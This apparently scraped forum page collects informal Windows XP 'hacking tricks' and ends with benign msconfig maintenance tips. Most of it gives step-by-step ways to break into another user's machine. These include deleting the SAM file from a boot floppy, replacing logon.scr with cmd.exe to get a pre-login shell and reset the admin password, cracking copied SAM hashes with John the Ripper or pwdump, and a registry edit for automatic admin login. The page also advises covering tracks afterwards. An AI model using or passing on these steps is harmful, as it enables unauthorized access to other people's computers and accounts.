Trick

dark hacker cracking password using dos if u r a some what advanced user then try:1)u can delete ur password by using an bootable floopy u boot ur system by bootable floppy and it will go to dos prompt just u have to do is go to c:\windows\system32\config\del sam*. as it delete u can boot ur system

how to hack windows xp admin password how to hack windows xp admin password if you log into a limited account on your target machine and open up a dos prompt then enter this set of commands exactly: cd\ *drops to root cd\windows\system32 *directs to the system32 dir mkdir temphack *creates the folder temphack copy logon.scr temphack\logon.scr *backsup logon.scr copy cmd.exe temphack\cmd.exe *backsup cmd.exe del logon.scr *deletes original logon.scr rename cmd.exe logon.scr *renames cmd.exe to logon.scr exit *quits dos now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into xp. once this happens if you enter this command minus the quotes "net user password" if the administrator account is called frank and you want the password blah enter this "net user frank blah"

and this changes the password on franks machine to blah and your in. have fun p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks registry hacking display legal notice on startup: wanna tell your friends about the do's and dont's in your computer when they login in your absence. well you can do it pretty easily by displaying a legal notice at system start up. regedit [hkey_local_machine\software\microsoft\windows\currentversion\policies\system] "legalnoticecaption"="enter your notice caption" "legalnoticetext"="enter your legal notice text" automatic administrator login: well here's the trick which you can use to prove that windows xp is not at all secure as multi-user operating system. hacking the system registry from any account having access to system registry puts you in to the administrator account. regedit 4 [hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon] "autoadminlogon"="1"

vikas<> u can break admin pass within 15 seconds. just go login ur computer in safemode by pressing f8. after loging in go to run.

just type this:net<space>user<space>"administrator's name"<space>"newpassword". type administrator's name & new password without quotes.. <space> means u hv to give a space inbetween the commands. restart ur pc. and then logon ur admin account with ur new password.

what is sam? sam file stores all the user info and passwords of all the accounts of a computer using windows nt family os(windows xp, windows server 2003,etc.).so if you can somehow get this file you can get the passwords. how can one find passwords from the sam file? there are three places where this file can be cracked from:i) from the original file %systemroot%/system32/config this file is locked to all users during the windows is running,so that you can't open it while you are working in windows. (find out how you can use this file....google dear frnds). ii) the system keeps a backup of this file in the %systemroot%/repair/sam._ this file is available to all users at any time. so copy this file to any directory and crack the passwords using any good password cracker. i would tell you about one, not only coz its very popular but also that its free.(find others urselves the net has a gr8 many of them) john the ripper:- its a dictionary cracker and will crack almost 80% of times you use it(unless the system admin has a knack in complicating things.) iii) you can use pwdump to directly crack the passwords from the registry.pwdump uses .dll injection in order to use the system account to view the password hashes stored in the registry.(try to find out more about pwdump) how to prevent people from cracking ur sam file? i) try to avoid password which are dictionary words. ii) try to use special characters in ur password. iii)try to add non-printable ascii characters to your passwords

anonymous 5 basic things that keeps your pc good health here they go: 1. many problems occur at startup. the system configuration utility msconfig is possibly the most important program with which all windows users should be familiar. think of it as the control center for almost everything that runs on your pc. you click start, then run, type msconfig and click ok. this will open the system configuration utility window. the tabs represent different areas of your system that control the processes and programs that start at bootup. the services and startup tabs are the main centers of activity. in the services tab, clicking the hide microsoft services option will make checking the list more manageable by showing only the application services you have installed. the general tab contains options for system restore and a handy interface for expanding system files from your windows source cd when needed. it includes options for selecting various levels of system startup, which is very important when trying to debug a problem process. anyone looking at the information contained within the system configuration utility for the first time will be a little overwhelmed. some good sites are available, such as answersthatwork.com and processlibrary.com, to help decipher at least some of the information. if you can't find a process name at those sites, sometimes an internet search will come up with some of the less-known processes. windows defender has an excellent utility called software explorer found under the tools section. it will list your programs (startup and running), including any known information regarding what they are.